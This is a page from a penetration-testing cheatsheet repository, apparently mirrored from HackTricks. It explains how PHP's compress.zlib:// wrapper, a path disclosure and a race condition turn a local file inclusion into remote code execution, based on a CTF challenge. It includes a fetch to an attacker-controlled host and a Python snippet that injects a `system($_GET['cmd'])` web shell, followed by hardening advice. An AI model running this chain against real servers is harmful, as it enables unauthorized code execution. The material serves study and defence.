daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

lfi2rce-via-compress-zlib-php-stream-prefer-studio-path-disclosure.md (7725B)


      1 ---
      2 title: "LFI2RCE Via compress.zlib + PHPSTREAMPREFERSTDIO + Path Disclosure"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-%2B-php_stream_prefer_studio-%2B-path-disclosure.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STDIO + Path Disclosure
     14 
     15 ### `compress.zlib://` and `PHP_STREAM_PREFER_STDIO`
     16 
     17 The interesting file is the **seekability backing file**, not a file containing decompressed output. In current php-src, `php_stream_gzopen()` opens the resource nested after `compress.zlib://` with `STREAM_MUST_SEEK | STREAM_WILL_CAST`. When that inner resource is a non-seekable HTTP stream, PHP selects `PHP_STREAM_PREFER_STDIO`, creates a real temporary file with `php_stream_fopen_tmpfile()`, and copies the raw HTTP response body into it before zlib reads from it.<sup>[[1]](#references)[[3]](#references)</sup>
     18 
     19 The relevant call chain remains:
     20 
     21 ```c
     22 innerstream = php_stream_open_wrapper_ex(path, mode,
     23     STREAM_MUST_SEEK | options | STREAM_WILL_CAST,
     24     opened_path, context);
     25 
     26 /* _php_stream_make_seekable() */
     27 *newstream = php_stream_fopen_tmpfile();
     28 ```
     29 
     30 Therefore, a call such as the following can make PHP fetch an attacker-controlled response and stage its entity body in a named temporary file while the upstream connection remains incomplete:
     31 
     32 ```php
     33 file_get_contents("compress.zlib://http://attacker.example/payload")
     34 ```
     35 
     36 > The bytes appended by the attacker must be **raw PHP bytes**, not another gzip member. The later LFI includes the temporary backing file by its local pathname, so it parses the raw HTTP body stored before decompression. Sending gzip-compressed PHP would only place gzip bytes in the file being included.<sup>[[1]](#references)</sup>
     37 
     38 ### Exploitation requirements
     39 
     40 This technique normally needs all of the following.<sup>[[1]](#references)[[3]](#references)[[4]](#references)</sup>
     41 
     42 - Control of a complete filename passed to a filesystem function, so `compress.zlib://http://...` reaches the zlib wrapper. A suffix forcibly appended after user input will generally break the remote URL.
     43 - The zlib extension and the nested HTTP wrapper. Although the compression wrapper itself is not gated by `allow_url_fopen`, the nested `http://` fetch requires `allow_url_fopen=On`; `allow_url_include` is **not** required because the remote URL is read by `file_get_contents()` and the final include targets a local path.<sup>[[1]](#references)[[4]](#references)</sup>
     44 - A writable PHP temporary directory and an LFI sink allowed to include from that directory.
     45 - A path-disclosure primitive that reveals the live file, commonly named with a `php` prefix. The hxp challenge combined the disclosed per-request `TMPDIR` with an unintended directory listing to recover the complete filename.<sup>[[1]](#references)[[3]](#references)</sup>
     46 - At least two concurrently served requests: one worker remains blocked copying the attacker's HTTP body, while another checks and includes the disclosed local path.
     47 - A check-then-use window, such as `file_get_contents($path)` followed by `include($path)`, where the same mutable file can change between validation and execution.
     48 
     49 If only a plain LFI is available and there is no wrapper-controlled fetch or path leak, use a technique matching the available primitive, such as [phpinfo() temporary uploads](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-phpinfo), [temporary file upload races](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads), or [eternal waiting](/hacktricks/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting).
     50 
     51 ### Race condition to RCE
     52 
     53 The hxp 36C3 CTF `includer` challenge demonstrated the complete chain.<sup>[[1]](#references)</sup>
     54 
     55 1. Start request **A** with `file=compress.zlib://http://attacker/...`.
     56 2. Reply with valid HTTP headers, advertise a body longer than the harmless prefix, send only benign raw bytes, and keep the socket open. PHP creates and progressively fills its seekable temporary backing file.
     57 3. Disclose the temporary directory and exact `php...` filename while request A is blocked. In the original challenge, a long attacker-controlled response field also filled PHP's output buffer so the random directory was returned before the request completed.
     58 4. Start request **B** using the literal temporary pathname. Its `file_get_contents()` validation sees only the harmless prefix.
     59 5. Immediately append raw `<?php ... ?>` bytes through request A's still-open upstream socket.
     60 6. Win the race so request B executes the changed file in its subsequent `include_once()`.
     61 
     62 A minimal attacker-controlled HTTP endpoint behaves like this:
     63 
     64 ```python
     65 conn.sendall(b"HTTP/1.1 200 OK\r\n"
     66              b"Content-Length: 100000\r\n"
     67              b"Connection: close\r\n\r\nSAFE\n")
     68 # Leak the php... path and start the local check/include request here.
     69 wait_for_check_request()
     70 conn.sendall(b'<?php system($_GET["cmd"]); ?>')
     71 ```
     72 
     73 The large declared `Content-Length` is a synchronization primitive: it prevents PHP from observing end-of-body after the safe prefix. Do not close the connection until the payload has been copied and the competing local include has run.<sup>[[1]](#references)</sup>
     74 
     75 ### Common failure cases
     76 
     77 - **Compressed payload instead of raw bytes:** the local include does not pass the backing file through `compress.zlib://` again.
     78 - **No exact path disclosure:** knowing only the temp directory is insufficient unless a separate listing, glob, or filename oracle exposes the random suffix.
     79 - **Only one PHP worker:** the request holding the upstream connection can starve the request needed to disclose or include the file.
     80 - **Payload sent too early:** `<?` is present when the content check runs and is rejected.
     81 - **Payload sent too late:** the include has already parsed the benign version.
     82 - **Premature EOF or incorrect framing:** PHP finishes copying, closes the stream, and removes the temporary file before it can be included.
     83 - **Buffered output:** the directory/path disclosure may not reach the attacker while request A is blocked; proxy buffering can defeat output-padding or flush-based synchronization.
     84 - **Filesystem restrictions:** a non-writable temp directory, `open_basedir`, container separation, or different worker filesystems can make the path unavailable to the LFI request.
     85 
     86 ### Hardening
     87 
     88 Do not pass user-controlled wrapper strings to filesystem functions or dynamic includes. Map an allowlisted identifier to a canonical local file and eliminate content-check-then-include patterns. Disable `allow_url_fopen` when remote filesystem access is unnecessary,<sup>[[4]](#references)</sup> and prevent web access or directory indexing of PHP temporary directories. These controls remove the wrapper fetch, pathname oracle, or mutable-code race needed by the chain.
     89 
     90 
     91 ## References
     92 
     93 - [1] [hxp 36C3 CTF 2019 - includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
     94 - [2] [Barb'hack 2022: Leveraging PHP Local File Inclusion to achieve universal RCE](https://www.riskinsight-wavestone.com/en/2022/09/barbhack-2022-leveraging-php-local-file-inclusion-to-achieve-universal-rce/)
     95 - [3] [php-src at commit `70603b9`](https://github.com/php/php-src/tree/70603b9465f52a33bc5bb51ed4580a9f5ed56b34)
     96 - [4] [PHP manual: Filesystem and Streams Configuration](https://www.php.net/manual/en/filesystem.configuration.php)